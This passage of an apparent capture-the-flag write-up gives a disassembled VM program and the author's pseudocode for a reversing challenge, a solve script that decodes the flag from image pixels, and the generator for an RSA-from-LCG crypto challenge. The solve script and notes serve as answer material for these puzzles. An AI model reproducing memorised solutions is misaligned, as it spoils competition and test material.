&lt;0078&gt;:
&lt;0079&gt;:
&lt;0080&gt;:
&lt;0081&gt;:
&lt;0082&gt;:
&lt;0083&gt;: R[2] = 4
&lt;0084&gt;: S[sp+-2] = R[2]
&lt;0085&gt;: S[sp+-3] = 0
&lt;0086&gt;: R[2] = S[sp+-3]
&lt;0087&gt;: cmp R[2] 29
&lt;0088&gt;: jg &lt;0100&gt;
&lt;0089&gt;: R[2] = S[sp+-3]
&lt;0090&gt;: R[5] = R[2]
&lt;0091&gt;: R[2] = S[sp+-2]
&lt;0092&gt;: R[5] = R[5] + R[2]
&lt;0093&gt;: R[2] = S[sp+-3]
&lt;0094&gt;: R[4] = 65
&lt;0095&gt;: R[2] = M[R[2] + R[4] + 0]
&lt;0096&gt;: R[5] = M[R[5] + 0]
&lt;0097&gt;: R[4] = 35
&lt;0098&gt;: M[R[2] + R[4] + 0] = R[5]
&lt;0099&gt;: S[sp+-3] = S[sp+-3] + 1
&lt;0100&gt;: jmp &lt;0085&gt;
&lt;0101&gt;: ret
&lt;0102&gt;:
&lt;0103&gt;:
&lt;0104&gt;:
&lt;0105&gt;:
&lt;0106&gt;:
&lt;0107&gt;:
&lt;0108&gt;:
&lt;0109&gt;:
&lt;0110&gt;:
&lt;0111&gt;:
&lt;0112&gt;:
&lt;0113&gt;:
&lt;0114&gt;:
&lt;0115&gt;:
&lt;0116&gt;:
&lt;0117&gt;:
&lt;0118&gt;:
&lt;0119&gt;:
&lt;0120&gt;:
&lt;0121&gt;:
&lt;0122&gt;:
&lt;0123&gt;:
&lt;0124&gt;:
&lt;0125&gt;:
&lt;0126&gt;:
&lt;0127&gt;:
&lt;0128&gt;:
&lt;0129&gt;:
&lt;0130&gt;:
&lt;0131&gt;:
&lt;0132&gt;:
&lt;0133&gt;:
&lt;0134&gt;:
&lt;0135&gt;:
&lt;0136&gt;:
&lt;0137&gt;:
&lt;0138&gt;:
&lt;0139&gt;:
&lt;0140&gt;:
&lt;0141&gt;:
&lt;0142&gt;:
&lt;0143&gt;:
&lt;0144&gt;:
&lt;0145&gt;:
&lt;0146&gt;:
&lt;0147&gt;:
&lt;0148&gt;:
&lt;0149&gt;:
&lt;0150&gt;:
&lt;0151&gt;:
&lt;0152&gt;:
&lt;0153&gt;:
&lt;0154&gt;:
&lt;0155&gt;:
&lt;0156&gt;:
&lt;0157&gt;:
&lt;0158&gt;:
&lt;0159&gt;:
&lt;0160&gt;:
&lt;0161&gt;:
&lt;0162&gt;:
&lt;0163&gt;:
&lt;0164&gt;:
&lt;0165&gt;:
&lt;0166&gt;: sp += -4
&lt;0167&gt;: R[4] = R[1]
&lt;0168&gt;: S[sp+0] = R[0]
&lt;0169&gt;: R[2] = R[5]
&lt;0170&gt;: R[5] = R[4]
&lt;0171&gt;: S[sp+2] = R[5]
&lt;0172&gt;: S[sp+1] = R[2]
&lt;0173&gt;: R[2] = M[519]
&lt;0174&gt;: cmp R[2] 424
&lt;0175&gt;: jne &lt;0176&gt;
&lt;0176&gt;: print('wrong flag :C')
&lt;0177&gt;: cmp S[sp+1] 0
&lt;0178&gt;: jne &lt;0186&gt;
&lt;0179&gt;: R[2] = M[519]
&lt;0180&gt;: R[5] = R[2] + 1
&lt;0181&gt;: M[519] = R[5]
&lt;0182&gt;: R[5] = 95
&lt;0183&gt;: R[2] = M[R[2] + R[5] + 0]
&lt;0184&gt;: cmp R[2] 4
&lt;0185&gt;: je &lt;0246&gt;
&lt;0186&gt;: print('wrong flag :C')
&lt;0187&gt;: R[2] = S[sp+1]
&lt;0188&gt;: R[2] = R[2] - 1
&lt;0189&gt;: R[2] = R[2]&gt;&gt;1
&lt;0190&gt;: S[sp+3] = R[2]
&lt;0191&gt;: R[5] = S[sp+3]
&lt;0192&gt;: R[2] = S[sp+0]
&lt;0193&gt;: R[2] = R[2] + R[5]
&lt;0194&gt;: R[2] = M[R[2] + 0]
&lt;0195&gt;: cmp S[sp+2] R[2]
&lt;0196&gt;: jge &lt;0211&gt;
&lt;0197&gt;: R[2] = M[519]
&lt;0198&gt;: R[5] = R[2] + 1
&lt;0199&gt;: M[519] = R[5]
&lt;0200&gt;: R[5] = 95
&lt;0201&gt;: R[2] = M[R[2] + R[5] + 0]
&lt;0202&gt;: cmp R[2] 1
&lt;0203&gt;: je &lt;0204&gt;
&lt;0204&gt;: print('wrong flag :C')
&lt;0205&gt;: R[5] = S[sp+3]
&lt;0206&gt;: R[2] = S[sp+2]
&lt;0207&gt;: R[4] = S[sp+0]
&lt;0208&gt;: R[0] = R[4]
&lt;0209&gt;: R[1] = R[2]
&lt;0210&gt;: call &lt;0165&gt;
&lt;0211&gt;: jmp &lt;0246&gt;
&lt;0212&gt;: R[5] = S[sp+3]
&lt;0213&gt;: R[2] = S[sp+0]
&lt;0214&gt;: R[2] = R[2] + R[5]
&lt;0215&gt;: R[2] = M[R[2] + 0]
&lt;0216&gt;: cmp S[sp+2] R[2]
&lt;0217&gt;: jle &lt;0238&gt;
&lt;0218&gt;: R[2] = M[519]
&lt;0219&gt;: R[5] = R[2] + 1
&lt;0220&gt;: M[519] = R[5]
&lt;0221&gt;: R[5] = 95
&lt;0222&gt;: R[2] = M[R[2] + R[5] + 0]
&lt;0223&gt;: cmp R[2] 2
&lt;0224&gt;: je &lt;0225&gt;
&lt;0225&gt;: print('wrong flag :C')
&lt;0226&gt;: R[2] = S[sp+1]
&lt;0227&gt;: R[2] = R[2] - S[sp+3]
&lt;0228&gt;: R[2] = R[2] - 1
&lt;0229&gt;: R[5] = R[2]
&lt;0230&gt;: R[2] = S[sp+3]
&lt;0231&gt;: R[4] = R[2] + 1
&lt;0232&gt;: R[2] = S[sp+0]
&lt;0233&gt;: R[4] = R[4] + R[2]
&lt;0234&gt;: R[2] = S[sp+2]
&lt;0235&gt;: R[0] = R[4]
&lt;0236&gt;: R[1] = R[2]
&lt;0237&gt;: call &lt;0165&gt;
&lt;0238&gt;: jmp &lt;0246&gt;
&lt;0239&gt;: R[2] = M[519]
&lt;0240&gt;: R[5] = R[2] + 1
&lt;0241&gt;: M[519] = R[5]
&lt;0242&gt;: R[5] = 95
&lt;0243&gt;: R[2] = M[R[2] + R[5] + 0]
&lt;0244&gt;: cmp R[2] 3
&lt;0245&gt;: je &lt;0246&gt;
&lt;0246&gt;: print('wrong flag :C')
&lt;0247&gt;: sp += 4
&lt;0248&gt;: ret
</code></pre>

 
      </div>
    </div>
  </div>
</div>

<div class="accordion mb-2" id="turtle_simplify_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-turtle_simplify_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#turtle_simplify_py-content" aria-expanded="true" aria-controls="turtle_simplify_py-content">
         <p>Show simplify.txt</p>
 
      </button>
    </p>
    <div id="turtle_simplify_py-content" class="accordion-collapse collapse" aria-labelledby="hd-turtle_simplify_py" data-bs-parent="#turtle_simplify_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
</pre></td><td class="rouge-code"><pre><span class="n">M</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">67</span>
<span class="n">M</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">84</span>
<span class="n">M</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">70</span>
<span class="n">M</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">123</span>
<span class="n">M</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">125</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80</span><span class="p">):</span>
        <span class="n">S</span><span class="p">[</span><span class="n">sp</span><span class="o">+</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>

<span class="nb">len</span> <span class="o">=</span> <span class="mi">80</span>

<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mi">29</span><span class="p">):</span>
        <span class="c1">#M[j] in {42, 122}
</span>        <span class="c1">#all letter in this set is unique
</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">29</span><span class="p">):</span>
        <span class="n">res</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">30</span><span class="p">)]</span>
        <span class="n">shuffle</span> <span class="o">=</span> <span class="p">[</span><span class="mi">23</span><span class="p">,</span> <span class="mi">14</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">18</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">15</span><span class="p">,</span> <span class="mi">26</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">21</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">24</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">22</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="mi">29</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">16</span><span class="p">,</span> <span class="mi">25</span><span class="p">]</span>
        <span class="n">res</span><span class="p">[</span><span class="n">shuffle</span><span class="p">[</span><span class="n">j</span><span class="p">]]</span> <span class="o">=</span> <span class="n">M</span><span class="p">[</span><span class="n">j</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span>

<span class="n">t</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">def</span> <span class="nf">check</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">t</span><span class="o">==</span><span class="mi">424</span><span class="p">:</span>
                <span class="k">print</span><span class="p">(</span><span class="s">'wrong flag :target'</span><span class="p">)</span>
        <span class="k">if</span> <span class="nb">len</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">R</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">M</span><span class="p">[</span><span class="n">t</span> <span class="o">+</span> <span class="mi">95</span><span class="p">]</span>
                <span class="n">t</span> <span class="o">=</span> <span class="n">t</span> <span class="o">+</span> <span class="mi">1</span>
                <span class="k">if</span> <span class="n">R</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mi">4</span><span class="p">:</span>
                        <span class="k">return</span>
                <span class="k">else</span><span class="p">:</span>
                        <span class="k">print</span><span class="p">(</span><span class="s">'wrong flag :target'</span><span class="p">)</span>

        <span class="n">mid_len</span> <span class="o">=</span> <span class="p">(</span><span class="nb">len</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span>
        <span class="n">mid_point</span> <span class="o">=</span> <span class="n">st</span> <span class="o">+</span> <span class="n">mid_len</span>
        <span class="k">if</span> <span class="n">target</span> <span class="o">&lt;</span> <span class="n">M</span><span class="p">[</span><span class="n">mid_point</span><span class="p">]:</span>
                <span class="n">R</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">M</span><span class="p">[</span><span class="n">t</span> <span class="o">+</span> <span class="mi">95</span><span class="p">]</span>
                <span class="n">t</span> <span class="o">=</span> <span class="n">t</span> <span class="o">+</span> <span class="mi">1</span>
                <span class="k">if</span> <span class="n">R</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
                        <span class="k">return</span>
                <span class="k">else</span><span class="p">:</span>
                        <span class="k">print</span><span class="p">(</span><span class="s">'wrong flag :target'</span><span class="p">)</span>

                <span class="n">check</span><span class="p">(</span><span class="n">st</span><span class="p">,</span> <span class="n">target</span><span class="p">,</span> <span class="n">mid_len</span><span class="p">)</span>

        <span class="k">elif</span> <span class="n">target</span> <span class="o">&gt;</span> <span class="n">M</span><span class="p">[</span><span class="n">mid_point</span><span class="p">]:</span>
                <span class="n">R</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">M</span><span class="p">[</span><span class="n">t</span> <span class="o">+</span> <span class="mi">95</span><span class="p">]</span>
                <span class="n">t</span> <span class="o">=</span> <span class="n">t</span> <span class="o">+</span> <span class="mi">1</span>
                <span class="k">if</span> <span class="n">R</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
                        <span class="k">return</span>
                <span class="k">else</span><span class="p">:</span>
                        <span class="k">print</span><span class="p">(</span><span class="s">'wrong flag :target'</span><span class="p">)</span>

                <span class="n">check</span><span class="p">(</span><span class="n">st</span><span class="o">+</span><span class="n">mid_len</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">target</span><span class="p">,</span> <span class="nb">len</span> <span class="o">-</span> <span class="n">mid_len</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>

        <span class="k">else</span><span class="p">:</span>
                <span class="n">R</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">M</span><span class="p">[</span><span class="n">t</span> <span class="o">+</span> <span class="mi">95</span><span class="p">]</span>
                <span class="n">t</span> <span class="o">=</span> <span class="n">t</span> <span class="o">+</span> <span class="mi">1</span>
                <span class="k">if</span> <span class="n">R</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="mi">3</span><span class="p">:</span>
                        <span class="k">return</span>
                <span class="k">else</span><span class="p">:</span>
                        <span class="k">print</span><span class="p">(</span><span class="s">'wrong flag :target'</span><span class="p">)</span>
        <span class="k">return</span>


<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">43</span><span class="p">,</span> <span class="mi">122</span><span class="p">):</span>
        <span class="n">check</span><span class="p">(</span><span class="mi">35</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="mi">30</span><span class="p">)</span> <span class="c1">#R0, R1, R5
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<div class="accordion mb-2" id="turtle_solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-turtle_solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#turtle_solve_py-content" aria-expanded="true" aria-controls="turtle_solve_py-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="turtle_solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-turtle_solve_py" data-bs-parent="#turtle_solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>

<span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"m.png"</span><span class="p">).</span><span class="n">convert</span><span class="p">(</span><span class="s">"RGB"</span><span class="p">)</span>
<span class="n">w</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="n">im</span><span class="p">.</span><span class="n">size</span>
<span class="c1">#print(w, h)
</span><span class="n">px</span> <span class="o">=</span> <span class="n">im</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>
<span class="n">M</span> <span class="o">=</span> <span class="p">[</span><span class="n">px</span><span class="p">[</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">)</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">w</span><span class="p">)]</span>
<span class="n">ordering</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">M</span><span class="p">[</span><span class="mi">65</span><span class="p">:</span><span class="mi">95</span><span class="p">]]</span>
<span class="n">finding</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">M</span><span class="p">[</span><span class="mi">95</span><span class="p">:</span><span class="mi">95</span><span class="o">+</span><span class="mi">424</span><span class="p">]]</span>

<span class="n">chars</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">43</span><span class="p">,</span> <span class="mi">123</span><span class="p">)]</span>
<span class="n">finding</span> <span class="o">=</span> <span class="p">[</span><span class="mi">4</span><span class="o">-</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">finding</span> <span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">]]</span>

<span class="n">flag</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">chars</span><span class="p">)):</span>
    <span class="k">if</span> <span class="n">finding</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">flag</span><span class="o">+=</span><span class="nb">chr</span><span class="p">(</span><span class="n">chars</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>

<span class="n">flag</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="n">flag</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">ordering</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="s">"CTF{"</span><span class="o">+</span><span class="n">flag</span><span class="o">+</span><span class="s">"}"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<hr />

<h2 id="crypto">Crypto</h2>

<h3 id="least-common-genominator">Least Common Genominator?</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>Someone used this program to send me an encrypted message but I can't read it! It uses something called an LCG, do you know what it is? I dumped the first six consecutive values generated from it but what do I do with it?!

solves: 352
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="lcg_generator_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-lcg_generator_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#lcg_generator_py-content" aria-expanded="true" aria-controls="lcg_generator_py-content">
         <p>Show generator.py</p>
 
      </button>
    </p>
    <div id="lcg_generator_py-content" class="accordion-collapse collapse" aria-labelledby="hd-lcg_generator_py" data-bs-parent="#lcg_generator_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">config</span>
<span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span><span class="p">,</span> <span class="n">isPrime</span>

<span class="k">class</span> <span class="nc">LCG</span><span class="p">:</span>
    <span class="n">lcg_m</span> <span class="o">=</span> <span class="n">config</span><span class="p">.</span><span class="n">m</span>
    <span class="n">lcg_c</span> <span class="o">=</span> <span class="n">config</span><span class="p">.</span><span class="n">c</span>
    <span class="n">lcg_n</span> <span class="o">=</span> <span class="n">config</span><span class="p">.</span><span class="n">n</span>

    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">lcg_s</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">state</span> <span class="o">=</span> <span class="n">lcg_s</span>

    <span class="k">def</span> <span class="nf">next</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">state</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">state</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">lcg_m</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">lcg_c</span><span class="p">)</span> <span class="o">%</span> <span class="bp">self</span><span class="p">.</span><span class="n">lcg_n</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">state</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>

    <span class="k">assert</span> <span class="mi">4096</span> <span class="o">%</span> <span class="n">config</span><span class="p">.</span><span class="n">it</span> <span class="o">==</span> <span class="mi">0</span>
    <span class="k">assert</span> <span class="n">config</span><span class="p">.</span><span class="n">it</span> <span class="o">==</span> <span class="mi">8</span>
    <span class="k">assert</span> <span class="mi">4096</span> <span class="o">%</span> <span class="n">config</span><span class="p">.</span><span class="n">bits</span> <span class="o">==</span> <span class="mi">0</span>
    <span class="k">assert</span> <span class="n">config</span><span class="p">.</span><span class="n">bits</span> <span class="o">==</span> <span class="mi">512</span>

    <span class="c1"># Find prime value of specified bits a specified amount of times
</span>    <span class="n">seed</span> <span class="o">=</span> <span class="mi">211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635</span>
    <span class="n">lcg</span> <span class="o">=</span> <span class="n">LCG</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
    <span class="n">primes_arr</span> <span class="o">=</span> <span class="p">[]</span>

    <span class="n">dump</span> <span class="o">=</span> <span class="bp">True</span>
    <span class="n">items</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">dump_file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"dump.txt"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">)</span>

    <span class="n">primes_n</span> <span class="o">=</span> <span class="mi">1</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">config</span><span class="p">.</span><span class="n">it</span><span class="p">):</span>
            <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
                <span class="n">prime_candidate</span> <span class="o">=</span> <span class="n">lcg</span><span class="p">.</span><span class="nb">next</span><span class="p">()</span>
                <span class="k">if</span> <span class="n">dump</span><span class="p">:</span>
                    <span class="n">dump_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">prime_candidate</span><span class="p">)</span> <span class="o">+</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
                    <span class="n">items</span> <span class="o">+=</span> <span class="mi">1</span>
                    <span class="k">if</span> <span class="n">items</span> <span class="o">==</span> <span class="mi">6</span><span class="p">:</span>
                        <span class="n">dump</span> <span class="o">=</span> <span class="bp">False</span>
                        <span class="n">dump_file</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
                <span class="k">if</span> <span class="ow">not</span> <span class="n">isPrime</span><span class="p">(</span><span class="n">prime_candidate</span><span class="p">):</span>
                    <span class="k">continue</span>
                <span class="k">elif</span> <span class="n">prime_candidate</span><span class="p">.</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">!=</span> <span class="n">config</span><span class="p">.</span><span class="n">bits</span><span class="p">:</span>
                    <span class="k">continue</span>
                <span class="k">else</span><span class="p">:</span>
                    <span class="n">primes_n</span> <span class="o">*=</span> <span class="n">prime_candidate</span>
                    <span class="n">primes_arr</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">prime_candidate</span><span class="p">)</span>
                    <span class="k">break</span>

        <span class="c1"># Check bit length
</span>        <span class="k">if</span> <span class="n">primes_n</span><span class="p">.</span><span class="n">bit_length</span><span class="p">()</span> <span class="o">&gt;</span> <span class="mi">4096</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"bit length"</span><span class="p">,</span> <span class="n">primes_n</span><span class="p">.</span><span class="n">bit_length</span><span class="p">())</span>
            <span class="n">primes_arr</span><span class="p">.</span><span class="n">clear</span><span class="p">()</span>
            <span class="n">primes_n</span> <span class="o">=</span> <span class="mi">1</span>
            <span class="k">continue</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">break</span>

    <span class="c1"># Create public key 'n'
</span>    <span class="n">n</span> <span class="o">=</span> <span class="mi">1</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">primes_arr</span><span class="p">:</span>
        <span class="n">n</span> <span class="o">*=</span> <span class="n">j</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Public Key: "</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[+] size: "</span><span class="p">,</span> <span class="n">n</span><span class="p">.</span><span class="n">bit_length</span><span class="p">(),</span> <span class="s">"bits"</span><span class="p">)</span>

    <span class="c1"># Calculate totient 'Phi(n)'
</span>    <span class="n">phi</span> <span class="o">=</span> <span class="mi">1</span>
    <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">primes_arr</span><span class="p">:</span>
        <span class="n">phi</span> <span class="o">*=</span> <span class="p">(</span><span class="n">k</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>

    <span class="c1"># Calculate private key 'd'
</span>    <span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">config</span><span class="p">.</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>

    <span class="c1"># Generate Flag
</span>    <span class="k">assert</span> <span class="n">config</span><span class="p">.</span><span class="n">flag</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="sa">b</span><span class="s">"CTF{"</span><span class="p">)</span>
    <span class="k">assert</span> <span class="n">config</span><span class="p">.</span><span class="n">flag</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="sa">b</span><span class="s">"}"</span><span class="p">)</span>
    <span class="n">enc_flag</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">config</span><span class="p">.</span><span class="n">flag</span><span class="p">)</span>
    <span class="k">assert</span> <span class="n">enc_flag</span> <span class="o">&lt;</span> <span class="n">n</span>

    <span class="c1"># Encrypt Flag
</span>    <span class="n">_enc</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">enc_flag</span><span class="p">,</span> <span class="n">config</span><span class="p">.</span><span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>

    <span class="k">with</span> <span class="nb">open</span> <span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">flag_file</span><span class="p">:</span>
        <span class="n">flag_file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">_enc</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">n</span><span class="p">.</span><span class="n">bit_length</span><span class="p">(),</span> <span class="s">"little"</span><span class="p">))</span>

    <span class="c1"># Export RSA Key
</span>    <span class="n">rsa</span> <span class="o">=</span> <span class="n">RSA</span><span class="p">.</span><span class="n">construct</span><span class="p">((</span><span class="n">n</span><span class="p">,</span> <span class="n">config</span><span class="p">.</span><span class="n">e</span><span class="p">))</span>
